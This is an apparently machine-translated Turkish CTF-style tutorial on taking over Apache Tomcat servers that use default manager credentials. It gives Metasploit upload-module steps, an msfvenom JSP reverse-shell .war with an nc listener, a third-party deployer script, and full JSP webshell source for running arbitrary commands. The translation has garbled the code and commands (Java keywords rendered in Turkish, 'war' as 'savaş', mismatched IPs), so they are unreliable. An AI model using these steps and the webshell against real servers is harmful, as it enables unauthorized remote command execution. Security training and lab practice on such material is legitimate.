Herkese merhaba, bu makalede Tomcat uygulamanız varsayılan oturum açma kimlik bilgilerine ayarlanmışsa (Tomcat: Tomcat) nasıl kullanılır? CTF oynarken birçok kez hedef ana bilgisayarda Tomcat'i buldum Uygulamalar, ana bilgisayarın uzak kabuğunu almamıza yardımcı olan varsayılan oturum açma kimlik bilgileriyle yapılandırılır. Bu nedenle, Tomcat uygulamasına saldırmak ve uzak ana bilgisayarın web kabuğunu elde etmek için tüm yöntemleri kaydetmem gerektiğini düşünüyorum.
içindekiler
Tomcat kimlik doğrulamalı yükleme kodu yürütme
.War biçiminde arka kapı oluşturun
Tomcat savaş konuşlandırma betiği
JSP web kabuğu oluştur
Tomcat hizmetinin 8080 numaralı bağlantı noktasında çalışıp çalışmadığını görmek için önce nmap kullanarak tarama yapın
nmap -sV -p8080192.168.1.101
Tarama sonuçlarından 8080 numaralı bağlantı noktasının açık olduğunu ve Apache Tomcat'in çalıştığını görebiliriz. Aşağıdaki hedef IP adresini ve ardından bağlantı noktası numarasını ziyaret etmek için bir tarayıcı kullanıyoruz. Tomcat yönetim arka planında oturum açmak için bir HTTP kimlik doğrulama sayfası görebiliriz.
Tomcat kimlik doğrulamalı yükleme kodu yürütme
Hedef sunucu Apache Tomcat'tir ve yönetim arka planı sızdırılmıştır.Yükü yürütmek için bir modül kullanabiliriz. Bu yük bir savaş dosyası olarak yüklenir. Bu yük, / manager / html / upload bileşenine bir istek başlatmak için POST kullanan bir jsp uygulaması içerir. Lütfen bu yükün ayarlarının hedef ana bilgisayara bağlı olarak farklı olacağını unutmayın. Örneğin, hedef ana makineniz Windows ise, yerel Windows yükünü kullanmanız gerekir.
exploit / multi / http / tomcat_mgr_upload kullanın msf exploit (multi / http / tomcat_mgr_upload) > rhost 192.168.1.101 ayarla msf exploit (multi / http / tomcat_mgr_upload) > 8080 raporunu ayarla msf exploit (multi / http / tomcat_mgr_upload) > httpusername tomcat ayarla msf exploit (multi / http / tomcat_mgr_upload) > httpparola tomcat ayarla msf exploit (multi / http / tomcat_mgr_upload) > sömürmekŞekilde gösterildiği gibi, hedef sunucunun metre ölçer oturumunu aldığımızı görebiliriz:
.War biçiminde arka kapı oluşturun
Java ve jsp yükleri için .war biçiminde bir arka kapı oluşturmak için msfvenom'u kullanabiliriz. Tek yapmanız gereken, .war biçiminde bir dosya oluşturmak için aşağıda verilen sözdizimini takip etmek ve izlemek için nc'yi başlatmaktır:
Sözdizimi: msfvenom -p LHOST = LPORT = -f > msfvenom -p java / jsp_shell_reverse_tcp LHOST = 192.168.1.101 LPORT = 1234 -f savaş > shell.war nc -lvp 1234
Şimdi, Tomcat yönetim arka planında oturum açmak için varsayılan oturum açma kimlik bilgilerini Tomcat: tomcat kullanın Başarıyla oturum açtıktan sonra, .war dosyasını yükleyebileceğiniz yönetici panelini görebilirsiniz.
Resimde gösterildiği gibi, ekran görüntüsünde "Dağıtım için kötü amaçlı shell.war dosyasına göz atın" ı daire içine aldığımı görebilirsiniz. Savaş dosyanızı başarıyla yükledikten sonra, uygulama tablosunda, savaş dosyanızla aynı ada sahip bir dizin görebilirsiniz.
Savaş dosyanızı yürütmek için dizine girip savaş dosyasına tıklamanız veya ona doğrudan URL'den erişmeniz gerekir.
War dosyasını çalıştırdıktan sonra nc aracılığıyla ters bağlantı elde edebilirsiniz.
Evet, yine uzaktaki bir bilgisayardan ağ kabuğu aldık.
Tomcat War dağıtım betiği
Bu, bir JSP arka kapısını otomatik olarak oluşturmak ve dağıtmak için Apache Tomcat kimlik bilgilerini kullanmak üzere tasarlanmış bir sızma testi aracıdır. Arka kapı daha sonra tetiklendiğinde, hoş bir kabuk döndürür (hedef ana bilgisayara web gui veya dinleme yoluyla bağlanmış olsun) Veya saldırgana geri bağlanan ters TCP yükü).
Aslında, dinamik olarak JSP arka kapı savaş paketini oluşturacak ve ardından Tomcat yönetim arayüzünde oturum açmak ve Tomcat uygulamasına dağıtmak için pentester tarafından sağlanan geçerli HTTP kimlik doğrulama bilgilerini (veya özel kimlik bilgilerini, genellikle Tomcat: tomcat) kullanacaktır. Süreç içerisinde.
Dağıtım komut dosyasını buradan indirebilirsiniz:
https://github.com/mgeeky/tomcatWarDeployer
git klon https://github.com/mgeeky/tomcatWarDeployer cd tomcatWarDeployer ls
Şimdi hedef ana bilgisayardaki güvenlik açığından yararlanmak için dilbilgisini takip edin, savaş dosyasını manuel olarak yüklemenize gerek yok.
Sözdizimi: ./tomcatWarDeployer.py -U -p -H -p: ./tomcatWarDeployer.py -U tomcat -P tomcat -H 192.168.1.108 -p 4567192.168.1.101:8080Yukarıdaki komut yürütüldüğünde, aşağıdaki şekilde gösterildiği gibi doğrudan bir web kabuğu elde edebiliriz:
JSP web kabuğu oluştur
Ardından, Tomcat uygulamasındaki yürütme komutlarını almak için web kabuğunun nasıl oluşturulup dağıtılacağına bir göz atalım.
Öncelikle, bir ağ kabuğu yazmalı ve onu savaş biçiminde paketlemeliyiz. Bir web kabuğu yazmak için aşağıdaki kodu kullanabiliriz:
< % @ page import = "java.io. *"% > < % Dize cmd = request.getParameter ("cmd"); Dize çıkışı = ""; eğer (cmd! = null) { String s = boş; Deneyin { İşlem p = Runtime.getRuntime (). Exec (cmd, null, null); BufferedReader sI = new BufferedReader (yeni InputStreamReader (p.getInputStream ())); while ((s = sI.readLine ())! = null) {çıktı + = s + " ";} } catch (IOException e) {e.printStackTrace ();} } % > < % = çıktı% >Kodu index.jsp dosyası olarak kaydedin ve ardından paketlemek için aşağıdaki komutu kullanın:
mkdir web kabuğu cp index.jsp webshell / cd web kabuğu jar -cvf ../webshell.war *
Bu komutu çalıştırdıktan sonra, bir savaş dosyası oluşturabilir ve bu savaş dosyasını Tomcat uygulamasında konuşlandırabilirsiniz.
Aşağıdaki şekilde gösterildiği gibi, webshell.war dosyasını başarıyla yüklediğimi ve konuşlandırdığımı görebilirsiniz.Şimdi çalıştırmak için bu dosyaya tıklıyoruz:
/ Webshell'i çalıştırırken bir 404 hata sayfası alacaksınız.Şimdi index.jsp dosyasını webshell altında aşağıdaki gibi çalıştırın:
Yukarıdaki URL'yi ziyaret ettikten sonra, bir komut yürütme formu alacaksınız ve şimdi bu formda cmd komutlarını şekilde gösterildiği gibi istediğiniz zaman çalıştırabilirsiniz:
Bu, bu makaleyi sonlandırıyor ve umarım bir şeyler kazanabilirsiniz.